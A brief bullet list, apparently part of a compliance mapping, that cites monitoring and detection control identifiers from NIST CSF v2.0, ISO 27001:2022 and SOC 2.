• NIST CSF v2.0: DE.CM-01, DE.CM-04, DE.AE-02
• ISO 27001:2022: A.8.16, A.8.22, A.5.24
• SOC 2: CC6.1, CC7.2, CC7.3